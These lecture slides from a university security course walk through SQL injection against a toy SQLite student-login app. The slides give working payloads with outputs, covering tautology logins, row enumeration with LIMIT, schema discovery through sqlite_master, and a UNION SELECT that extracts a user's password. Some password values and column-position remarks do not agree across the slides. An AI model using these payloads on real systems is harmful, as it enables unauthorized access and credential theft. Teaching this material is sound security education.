CS177

SQL Injection (Examples)
Use VPN for SQL Challenge

• Without VPN, some connections that are similar to SQL injection are being dropped somewhere in the campus network!
  • Outside connections!
  • Use VPN service provided by the university! That solves the issue
  • https://www.it.ucsb.edu/vpn
General Steps for SQL Injection

• Which forms/fields are vulnerable to SQL injection?
• What is SQL database engine?
• What is the query?
• What are the tables?
• What are the columns?
• How is the post-query processing?
Example

Let’s test for SQL injection!
input: `foo'`

output:
Query failed: "Select * from student where username='foo''"
Error: unrecognized token: "'foo'"
Example

Let’s fetch all names!

input:
foo' or 1=1--

output:
username: foo' or 1=1--
name: Dongyu Meng

But what about other names?

<table>
<thead>
<tr>
<th>username</th>
<th>passwd</th>
<th>perm</th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td>mdy</td>
<td>jlkfdsajlkfd</td>
<td>76528261</td>
<td>Dongyu Meng</td>
</tr>
<tr>
<td>lukas</td>
<td>fdjkfsds</td>
<td>91858073</td>
<td>Lukas Dresel</td>
</tr>
<tr>
<td>9yte</td>
<td>899fdskfjksdj</td>
<td>78031594</td>
<td>Hojjat Aghakhani</td>
</tr>
<tr>
<td>void</td>
<td>898989fdskjkldfsd</td>
<td>44320917</td>
<td>Christopher Kruegel</td>
</tr>
</tbody>
</table>
Let’s fetch all names!

inputs:
foo' or 1=1 limit i,1--
for i=1,2,3

outputs:
username: foo' or 1=1 limit 1,1--
name: Lukas Dresel

username: foo' or 1=1 limit 2,1--
name: Hojjat Aghakhani

username: foo' or 1=1 limit 3,1--
name: Christopher Kruegel
Example

But who cares about names? I want to know everything!

<table>
<thead>
<tr>
<th>username</th>
<th>passwd</th>
<th>perm</th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td>mdy</td>
<td>jlkfdsajlkfd</td>
<td>76528261</td>
<td>Dongyu Meng</td>
</tr>
<tr>
<td>lukas</td>
<td>fdjkfksds</td>
<td>91858073</td>
<td>Lukas Dresel</td>
</tr>
<tr>
<td>9yte</td>
<td>899fdskjfkdsj</td>
<td>78031594</td>
<td>Hojjat Aghakhani</td>
</tr>
<tr>
<td>void</td>
<td>898989fdskjklfsd</td>
<td>44320917</td>
<td>Christopher Kruegel</td>
</tr>
</tbody>
</table>

First, we need to know the structure of the table: What are the columns? sqlite_master table has useful information: tbl_name, sql columns
Example

input:
foo' union select * from sqlite_master where tbl_name='student

output:
Query failed: "Select * from student where username='foo' union select * from sqlite_master where tbl_name='student'"

Error: SELECTs to the left and right of UNION do not have the same number of result columns
Example

It seems we need to know the number of columns first!!
input:
foo’ union select sql, sql, sql, sql from sqlite_master where tbl_name='student
output:
username: foo’ union select sql, sql, sql, sql from sqlite_master where tbl_name='student, name: CREATE TABLE student (  "username"  TEXT,  "passwd"    TEXT,  "perm"      TEXT,  "name"      TEXT )
So we have these columns (ordered): username, passwd, perm, name
Note that we used to see the results for column “name,” which is the third column!
So, in the second select clause, we should put the interesting column as the third one in the query!
Example

input:
foo' union select null, null, null, passwd from student where username='9yte

output:
username: foo' union select null, null, null, passwd from student where username='9yte, name: 899fdskjfkdsj

<table>
<thead>
<tr>
<th>username</th>
<th>passwd</th>
<th>perm</th>
<th>name</th>
</tr>
</thead>
<tbody>
<tr>
<td>mdy</td>
<td>jlkfdsajlkfd</td>
<td>76528261</td>
<td>Dongyu Meng</td>
</tr>
<tr>
<td>lukas</td>
<td>fdjkfksds</td>
<td>91858073</td>
<td>Lukas Dresel</td>
</tr>
<tr>
<td>9yte</td>
<td>899fdskjfkdsj</td>
<td>78031594</td>
<td>Hojjat Aghakhani</td>
</tr>
<tr>
<td>void</td>
<td>8989989fdskjklfsd</td>
<td>44320917</td>
<td>Christopher Kruegel</td>
</tr>
</tbody>
</table>
Question?